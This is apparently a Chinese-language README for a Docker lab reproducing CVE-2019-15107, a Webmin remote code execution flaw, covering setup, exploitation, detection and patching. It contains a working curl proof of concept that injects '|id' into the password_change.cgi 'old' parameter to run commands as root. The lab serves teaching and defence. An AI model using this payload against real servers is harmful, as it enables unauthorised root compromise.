本项目在受控且隔离的 Docker 环境中演示了 CVE-2019-15107,这是 Webmin 中的一个严重远程代码执行(RCE)漏洞。该实验环境涵盖了从部署、利用到检测和修复的完整漏洞生命周期。
1.Docker Desktop(已安装并正在运行)
2.Docker Compose
3.支持 curl.exe 的终端 / PowerShell
1.操作系统(本地主机环境)
2.端口可用性:主机上的端口 10000 必须空闲。
1.应用程序:Webmin
2.存在漏洞的版本:1.910(受影响版本:1.880 至 1.920)
3.已修复/已打补丁的版本:1.930 及以上
4.漏洞类型:操作系统命令中使用的特殊元素的不当中和(CWE-78)
5.CVSS 评分:9.8(严重)
1.将此项目仓库克隆或下载到本地计算机。
2.打开终端并导航到包含 docker-compose.yml 的项目目录。
3.确保 Docker Desktop 在您的系统上处于活动状态。
从项目根目录运行以下命令,以分离模式拉取并启动存在漏洞的容器: docker-compose up -d
您可以通过运行以下命令来验证容器状态: docker compose ps
在 Web 浏览器中访问应用程序界面:https://localhost:10000(接受本地 SSL 证书警告)。
要停止并移除正在运行的容器环境,请运行: docker-compose down
该漏洞存在于未授权的密码更改端点(/password_change.cgi)中,其中输入参数未经适当清理就被直接传递给系统 shell。
在终端(PowerShell/Bash)中运行以下命令,以执行诊断命令(id)作为概念验证:
curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"
成功利用:服务器处理注入的管道字符(|),触发具有 root 权限的未授权命令执行。终端将输出 HTML 响应证据以及容器 shell 反馈(uid=0(root)),确认远程代码执行成功。
1.版本识别:检查正在运行的 Webmin 实例版本,以验证其是否处于受影响范围内(1.880 至 1.920)。
2.网络 / 日志监控:检查 Web 服务器访问日志或 WAF 日志,查找发往 /password_change.cgi 且参数值中包含可疑 shell 控制字符(如 | 或 ;)的传入 HTTP POST 请求。
1.升级:将 Webmin 升级到 1.930 或更高版本,该版本会正确清理传递给底层模块的输入。
2.访问控制:使用防火墙或 VPN 隧道限制对端口 10000 的网络访问,以防止直接暴露于不受信任的网络。
1.Docker 守护进程未运行:如果遇到连接错误,请确保 Docker Desktop 已完全启动,并使用 docker version 进行验证。
2.端口冲突(10000 已被占用):确保没有其他本地应用程序或服务占用端口 10000。
3.PowerShell curl 语法错误:在 Windows PowerShell 中使用 curl.exe 而不是标准 curl,以避免 PowerShell 内置 Invoke-WebRequest 别名带来的参数映射问题。